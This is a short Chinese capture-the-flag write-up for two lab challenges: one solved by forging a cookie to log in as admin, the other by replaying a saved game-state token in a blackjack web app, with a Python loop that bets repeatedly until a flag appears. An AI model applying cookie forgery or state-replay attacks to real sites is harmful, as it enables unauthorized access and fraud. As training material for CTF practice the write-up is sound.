本文主要是介绍[BSidesCF 2019]Kookie and [BSidesCF 2020]Cards,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
知识点:cookie伪造
[BSidesCF 2019]Kookie
提示我们要以以admin身份登录,还告诉我们在cookie中,那答案呼之欲出。
在cookie中加入username=admin
[BSidesCF 2020]Cards
做题目之前先了解一下21点的规则:
二十一点玩法规则和概率在二十一点游戏中,拥有最高点数的玩家获胜,其点数必须等于或低于21点;超过21点的玩家称为爆牌。 2点至10点的牌以牌面的点数来相加,J、Q、K 每张为10点。 A可记为1点或为11点,若玩家会因A而爆牌则A可算为1点,若开牌就是21点,则直接获胜。
如下图k为10,A为11,相加为21,则显示Blackjack,直接获胜。
每次请求都会产生一个SecretState,不管输赢,上一个请求的SecretState依旧存在,也就是说,我们可以不停的循环,一直保存赢的SecretState就可以了。
api为一盘的开始
开du
格式:
import requestsstart = "http://214c8301-03ae-4eb3-8f55-4d9873b2a4e6.node4.buuoj.cn:81/api"
deal = start + "/deal"# 开局
state = requests.post(start).json()["SecretState"]while True:# 下注try:resp = requests.post(deal, json={"Bet": 500, "SecretState": state}).json()except:continueif resp['GameState'] == 'Blackjack':#若游戏状态显示Blackjack则保存SecretState,以便接着来state = resp['SecretState']print(resp['Balance'])#余额if resp['Balance'] > 100000:#余额大于100000显示flagprint(resp)break
这篇关于[BSidesCF 2019]Kookie and [BSidesCF 2020]Cards的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!